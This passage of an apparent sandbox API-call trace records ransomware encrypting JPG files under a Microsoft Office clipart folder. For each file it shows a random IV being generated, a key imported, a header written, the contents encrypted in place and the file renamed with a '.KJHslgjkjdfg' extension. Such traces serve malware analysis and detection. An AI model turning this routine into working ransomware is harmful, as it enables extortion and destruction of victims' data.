ftCreationTime.dwLowDateTime=0xd6d41000, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6d41000, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x42d1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287642.JPG", cAlternateFileName="")) returned 1 [0200.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.756] GetProcessHeap () returned 0x990000 [0200.756] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.756] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.756] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.756] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xf, lpOverlapped=0x0) returned 1 [0200.758] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.758] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.758] GetProcessHeap () returned 0x990000 [0200.758] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.758] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.758] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.758] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.758] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.758] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.758] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.758] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.758] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.758] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.758] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.758] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.758] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x42d1, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x42d1, lpOverlapped=0x0) returned 1 [0200.759] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x42e0, dwBufLen=0x42e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x42e0) returned 1 [0200.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.760] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x42e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x42e0, lpOverlapped=0x0) returned 1 [0200.760] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.760] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x43b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.760] SetEndOfFile (hFile=0x130) returned 1 [0200.762] GetProcessHeap () returned 0x990000 [0200.762] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.762] GetProcessHeap () returned 0x990000 [0200.762] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.762] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg.kjhslgjkjdfg")) returned 1 [0200.763] CloseHandle (hObject=0x130) returned 1 [0200.763] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x3e91, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287643.JPG", cAlternateFileName="")) returned 1 [0200.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.764] GetProcessHeap () returned 0x990000 [0200.764] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.764] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.764] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.764] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xf, lpOverlapped=0x0) returned 1 [0200.766] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.766] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.766] GetProcessHeap () returned 0x990000 [0200.766] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.766] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.767] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.767] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.767] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.767] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.767] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.767] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.767] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.767] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.767] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.767] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.767] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3e91, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3e91, lpOverlapped=0x0) returned 1 [0200.768] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3ea0, dwBufLen=0x3ea0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3ea0) returned 1 [0200.768] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.768] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3ea0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3ea0, lpOverlapped=0x0) returned 1 [0200.768] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3f74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.769] SetEndOfFile (hFile=0x130) returned 1 [0200.771] GetProcessHeap () returned 0x990000 [0200.771] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.771] GetProcessHeap () returned 0x990000 [0200.771] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.771] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg.kjhslgjkjdfg")) returned 1 [0200.772] CloseHandle (hObject=0x130) returned 1 [0200.772] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x43c5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287644.JPG", cAlternateFileName="")) returned 1 [0200.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.773] GetProcessHeap () returned 0x990000 [0200.773] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.773] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.773] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.773] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xb, lpOverlapped=0x0) returned 1 [0200.775] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.775] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.775] GetProcessHeap () returned 0x990000 [0200.775] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.775] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.775] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.775] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.776] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.776] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.776] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.776] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.776] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.776] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.776] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.776] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.776] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x43c5, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x43c5, lpOverlapped=0x0) returned 1 [0200.777] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x43d0, dwBufLen=0x43d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x43d0) returned 1 [0200.777] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.777] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x43d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x43d0, lpOverlapped=0x0) returned 1 [0200.777] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.777] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x44a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.777] SetEndOfFile (hFile=0x130) returned 1 [0200.780] GetProcessHeap () returned 0x990000 [0200.780] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.780] GetProcessHeap () returned 0x990000 [0200.780] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.780] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg.kjhslgjkjdfg")) returned 1 [0200.782] CloseHandle (hObject=0x130) returned 1 [0200.782] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x8d86, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287645.JPG", cAlternateFileName="")) returned 1 [0200.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.783] GetProcessHeap () returned 0x990000 [0200.783] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.783] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.783] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.783] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0200.785] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.785] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.785] GetProcessHeap () returned 0x990000 [0200.785] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.785] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.785] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.785] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.785] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.785] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.785] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.785] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.786] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.786] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.786] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.786] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.786] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8d86, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8d86, lpOverlapped=0x0) returned 1 [0200.787] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8d90, dwBufLen=0x8d90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8d90) returned 1 [0200.787] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.787] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8d90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8d90, lpOverlapped=0x0) returned 1 [0200.787] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.787] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.787] SetEndOfFile (hFile=0x130) returned 1 [0200.790] GetProcessHeap () returned 0x990000 [0200.790] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.790] GetProcessHeap () returned 0x990000 [0200.790] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.790] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg.kjhslgjkjdfg")) returned 1 [0200.791] CloseHandle (hObject=0x130) returned 1 [0200.791] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d21, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0289430.JPG", cAlternateFileName="")) returned 1 [0200.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.792] GetProcessHeap () returned 0x990000 [0200.792] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.792] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.792] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.792] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xf, lpOverlapped=0x0) returned 1 [0200.794] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: 